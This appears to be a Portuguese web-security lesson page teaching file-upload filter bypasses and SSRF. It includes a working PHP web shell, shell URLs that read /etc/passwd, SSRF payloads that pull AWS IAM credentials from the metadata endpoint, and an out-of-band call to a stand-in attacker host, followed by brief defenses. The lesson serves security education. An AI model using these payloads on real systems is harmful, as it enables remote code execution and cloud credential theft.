Vulnerabilidades de Upload de Arquivos e SSRF
Contorne restrições de upload de arquivos, explore SSRF para acessar serviços internos e encadeie vulnerabilidades.
Vulnerabilidades de Upload de Arquivos e SSRF é uma aula grátis de Cyber Security Academy no CoddyKit. Esta é a aula 4 de 4. Você pode ler a aula completa abaixo gratuitamente — depois pratica ao vivo no navegador com um editor de código integrado e um tutor de IA 24/7. Faz parte do caminho de aprendizado de Cyber Security Academy, e seu progresso é sincronizado entre a web e o app CoddyKit. O curso de Cyber Security Academy inclui 4 aulas no total.
Vulnerabilidades de carregamento de arquivos
A funcionalidade de carregamento de arquivos é um dos recursos de maior risco em aplicações web. Uma validação insuficiente permite carregar arquivos executáveis (PHP, JSP, ASPX), que o servidor então executa, resultando em execução remota de código.
Contorno básico de carregamento: filtragem de extensões
Filtros de extensões no lado do cliente e baseados em listas de bloqueio podem ser contornados. Tente: extensões duplas (.php.jpg), variações de maiúsculas e minúsculas (.PhP), bytes nulos (file.php%00.jpg) e extensões alternativas (.php5, .phtml, .phar).
# Try alternative PHP extensions:
file.php
file.php5
file.phtml
file.phar
file.php.jpg
file.php%00.jpg
file.PhP
# ASP/ASPX alternatives:
file.asp
file.aspx
file.asa
file.cerContorno do tipo MIME
Os servidores frequentemente verificam o cabeçalho Content-Type, não o conteúdo real do arquivo. Intercepte a solicitação de carregamento no Burp e altere Content-Type de application/x-php para image/jpeg.
# In Burp Repeater, modify:
Content-Type: image/jpeg
# While keeping the file content as PHP:
<?php system($_GET["cmd"]); ?>Contorno por bytes mágicos
Alguns servidores verificam os bytes mágicos do arquivo (os primeiros bytes do arquivo). Prefixe bytes mágicos válidos de uma imagem antes da carga útil PHP para passar pela verificação e manter o conteúdo executável.
# Prepend JPEG magic bytes:
\xFF\xD8\xFF + PHP payload
# Or add GIF header:
GIF89a
<?php system($_GET["cmd"]); ?>Shell web após o carregamento
Depois que um arquivo PHP/JSP é carregado e fica acessível por uma URL, acione-o para executar comandos. O shell web mais simples é:
# Upload this as shell.php:
<?php system($_GET["cmd"]); ?>
# Access via browser:
http://target.com/uploads/shell.php?cmd=id
http://target.com/uploads/shell.php?cmd=whoami
http://target.com/uploads/shell.php?cmd=cat+/etc/passwdO que é SSRF
A falsificação de solicitações do lado do servidor (SSRF) induz o servidor a fazer solicitações HTTP para URLs arbitrárias em nome do invasor. Isso permite acessar serviços internos, APIs de metadados da nuvem e interfaces administrativas internas.
Detecção básica de SSRF
Encontre parâmetros que aceitem URLs (webhooks, URLs de visualização prévia, pontos de acesso de busca e URLs de imagens). Injete endereços internos e observe as respostas — tempo limite, conexão recusada ou resposta válida indicam o que está acessível.
# Test URL parameters:
?url=http://127.0.0.1/
?url=http://169.254.169.254/ # AWS metadata
?url=http://internal-service:8080/admin
# Burp Collaborator for blind SSRF:
?url=http://your-collaborator-id.oastify.com/API de metadados da AWS via SSRF
O Instance Metadata Service da AWS (IMDS), em 169.254.169.254, expõe credenciais de funções IAM. Uma SSRF nesse endpoint pode vazar credenciais da nuvem e permitir a tomada completa da conta.
# SSRF payload targeting AWS metadata:
?url=http://169.254.169.254/latest/meta-data/
?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/
# Returns:
# {"AccessKeyId":"ASIA...", "SecretAccessKey":"..."}SSRF cega
Quando não há reflexão do corpo da resposta, use técnicas fora de banda: uma consulta DNS ao Burp Collaborator confirma a conectividade; um retorno HTTP com dados no caminho exfiltra informações.
# Interactsh as alternative to Burp Collaborator:
# https://github.com/projectdiscovery/interactsh
?url=http://attacker.interactsh.com/ssrf-testTécnicas de contorno de SSRF
Filtros que bloqueiam IPs internos óbvios podem ser contornados com: codificação de IP (decimal 0x7f000001 = 127.0.0.1), DNS rebinding, endereços alternativos de loopback (127.1, 0.0.0.0) e redirecionamento de URL.
# Alternative representations of 127.0.0.1:
http://127.1
http://2130706433 # decimal
http://0x7f000001 # hex
http://0177.0.0.1 # octal
http://localhostDefesas contra carregamento de arquivos e SSRF
Carregamento de arquivos: permita apenas extensões seguras em uma lista de permissões, armazene os arquivos fora da raiz da web, renomeie-os no servidor e disponibilize-os via CDN. SSRF: permita apenas URLs e intervalos de IP autorizados, desative recursos desnecessários de busca de URLs e imponha o IMDSv2 na AWS.
Verificação rápida
Qual IP um ataque de SSRF visa para roubar credenciais da AWS?
Resumo: carregamento de arquivos e SSRF
Falhas no carregamento de arquivos levam à execução remota de código; SSRF leva ao acesso à rede interna e ao roubo de credenciais. Teste os carregamentos com contornos de extensão, tipo MIME e bytes mágicos. Teste os parâmetros de URL para SSRF tendo como alvo localhost, sub-redes internas e APIs de metadados da nuvem. Ambos exigem defesa em profundidade: listas de permissões em vez de listas de bloqueio, segmentação de rede e fortalecimento da segurança da nuvem.
Aprenda Cyber Security Academy com um tutor de IA — grátis
Escreva e execute código real no seu navegador, obtenha ajuda instantânea de um tutor de IA 24/7 e continue de onde parou na web ou no app.
- Cursos
- 76
- Aulas
- 303
Perguntas Frequentes
A aula “Vulnerabilidades de Upload de Arquivos e SSRF” é grátis?
Sim — o texto completo de “Vulnerabilidades de Upload de Arquivos e SSRF” é grátis para ler aqui na web. Para praticá-la interativamente (um editor de código integrado e um tutor de IA 24/7) e desbloquear o restante do curso de Cyber Security Academy, atualize para CoddyKit PRO. O curso de Cyber Security Academy inclui 4 aulas no total.
O que vou aprender em “Vulnerabilidades de Upload de Arquivos e SSRF”?
Contorne restrições de upload de arquivos, explore SSRF para acessar serviços internos e encadeie vulnerabilidades. Você pratica Cyber Security Academy com código prático que executa diretamente no navegador, e um tutor de IA 24/7 responde suas dúvidas enquanto trabalha na aula.
Preciso ter experiência prévia para começar Cyber Security Academy?
Nenhuma experiência prévia é necessária. Cyber Security Academy no CoddyKit é estruturado para alunos iniciantes até avançados, então você pode começar aqui ou desde o início e aprender no seu ritmo. Esta é a aula 4 de 4.
Quanto tempo leva a aula “Vulnerabilidades de Upload de Arquivos e SSRF”?
A maioria das aulas CoddyKit leva cerca de 5–10 minutos. Cada uma é compacta e interativa, então você faz progresso constante e retoma exatamente de onde parou entre web e app.
Posso escrever e executar código nesta aula de Cyber Security Academy?
Sim. Cada aula de Cyber Security Academy inclui um editor de código integrado, então você escreve e executa código real direto no navegador e recebe feedback de IA instantaneamente — nenhuma configuração local necessária.
Todas as aulas deste curso
- Proxy do Burp Suite e Interceptação de Requisições
- Testes de Vulnerabilidades de Injeção
- Testes de Autenticação e Sessão
- Vulnerabilidades de Upload de Arquivos e SSRF